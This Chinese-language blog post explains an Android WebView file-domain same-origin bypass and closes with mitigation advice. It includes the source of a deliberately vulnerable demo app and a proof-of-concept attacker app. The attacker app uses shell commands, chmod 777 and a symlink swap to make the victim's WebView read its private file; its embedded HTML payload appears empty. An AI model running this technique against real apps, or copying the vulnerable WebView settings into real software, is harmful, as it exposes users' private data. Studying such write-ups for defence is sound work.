一个比较老的漏洞,不能远程利用,只能通过Malicious App来攻击。
为了说明漏洞原理,这儿假设用户安装了两个App,第一个是攻击的App,即Benign App,另一个是Malicious App,也就是攻击者App。首先,由于Android沙箱机制的限制,Malicious App是不能访问Benign App的私有目录的。但是,如果Malicious App有了一个Webview,并且整个webview对外暴露,并且允许加载File域。那么,在Malicious App中设计一个File,并且在File中包含JS代码。那么,当Benign App加载了整个File之后,Malicious App把这个File删除。然后把Benign App的私有文件软链接到这个File,即创建了私有文件的快捷方式。此时,由于读取文件的操作实际上Benign App自己做的,所以能够读取私有文件。那么问题出在哪?就是File中的JS代码,JS文件虽然已经被删除,但是在File被删除前,JS代码已经加载。这样利用时间差,就可以读取私有文件了。
package com.example.webviewfiledemo;
import java.io.FileOutputStream;
import android.app.Activity;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;
import android.webkit.JsResult;
import android.webkit.WebChromeClient;
import android.webkit.WebView;
import android.widget.Toast;
public class MainActivity extends Activity {
private WebView webView;
private Uri mUri;
private String url;
String mUrl1 = "file:///android_asset/html/attack_file.html";
String mUrl2 = "file:///android_asset/html/test.html";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
webView = (WebView) findViewById(R.id.webview);
webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new JSInterface(), "jsInterface");
webView.getSettings().setAllowFileAccessFromFileURLs(false);
// webView.getSettings().setAllowFileAccess(false);
writeFileData("private.txt","被攻击的App的私有文件");
webView.setWebChromeClient(new WebChromeClient() {
@Override
public boolean onJsAlert(WebView view, String url, String message,
JsResult result) {
// Required functionality here
return super.onJsAlert(view, url, message, result);
}
});
Intent i = getIntent();
if (i != null) {
mUri = i.getData();
}
if (mUri != null) {
url = mUri.toString();
}
if (url != null) {
webView.loadUrl(url);
}
}
//向指定的文件中写入指定的数据
public void writeFileData(String filename, String message){
try {
FileOutputStream fout = openFileOutput(filename, MODE_PRIVATE);//获得FileOutputStream
//将要写入的字符串转换为byte数组
byte[] bytes = message.getBytes();
fout.write(bytes);//将byte数组写入文件
fout.close();//关闭文件输出流
} catch (Exception e) {
e.printStackTrace();
}
}
class JSInterface {
public String onButtonClick(String text) {
final String str = text;
runOnUiThread(new Runnable() {
@Override
public void run() {
Log.e("leehong2", "onButtonClick: text = " + str);
Toast.makeText(getApplicationContext(),
"onButtonClick: text = " + str, Toast.LENGTH_LONG)
.show();
}
});
return "This text is returned from Java layer. js text = " + text;
}
public void onImageClick(String url, int width, int height) {
final String str = "onImageClick: text = " + url + " width = "
+ width + " height = " + height;
Log.i("leehong2", str);
runOnUiThread(new Runnable() {
@Override
public void run() {
Toast.makeText(getApplicationContext(), str,
Toast.LENGTH_LONG).show();
}
});
}
}
}
package com.example.attackwebview;
import android.app.Activity;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
public class MainActivity extends Activity {
public final static String HTML =
"" +
"Wait a few seconds." +
""+
"";
public static String MY_TMP_DIR;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
MY_TMP_DIR = getDir("payload_odex", MODE_PRIVATE).getAbsolutePath();
doit();
}
public void doit() {
String HTML_PATH = MY_TMP_DIR + "/A0" + ".html";
try {
cmdexec("mkdir " + MY_TMP_DIR);
cmdexec("echo \"" + HTML + "\" > " + HTML_PATH);
cmdexec("chmod -R 777 " + MY_TMP_DIR);
Thread.sleep(1000);
invokeVulnAPP("file://" + HTML_PATH);
Thread.sleep(6000);
cmdexec("rm " + HTML_PATH);
cmdexec("ln -s " + "/data/data/com.example.webviewfiledemo/files/private.txt" + " " + HTML_PATH);
} catch (Exception e) {
// TODO: handle exception
}
}
public void invokeVulnAPP(String url) {
try {
Intent intent = new Intent(Intent.ACTION_MAIN,Uri.parse(url));
intent.addCategory(Intent.CATEGORY_LAUNCHER);
intent.setClassName("com.example.webviewfiledemo", "com.example.webviewfiledemo.MainActivity");
startActivity(intent);
} catch (Exception e) {
// TODO: handle exception
}
}
public void cmdexec(String cmd) {
try {
String[] tmp = new String[] { "/system/bin/sh", "-c", cmd };
Runtime.getRuntime().exec(tmp);
} catch (Exception e) {
// TODO: handle exception
}
}
}
如果应用的组件不必要导出,建议显式设置所注册组件的“android:exported”属性为false;
如果应用的需要导出包含WebView的组件,建议禁止使用File域协议:
myWebView.getSettings. setAllowFileAccess(false);
如果需要使用File协议,禁止File协议调用JavaScript
如果应用的WebView需要使用File域协议,建议禁止File域协议调用JavaScript:
myWebView.getSettings. setJavaScriptEnabled(false);
参考:
[1]http://www.droidsec.cn/webview-file%E5%9F%9F%E5%90%8C%E6%BA%90%E7%AD%96%E7%95%A5%E7%BB%95%E8%BF%87%E6%BC%8F%E6%B4%9E%E6%B5%85%E6%9E%90/
[2]http://blog.csdn.net/jltxgcy/article/details/50678304#quote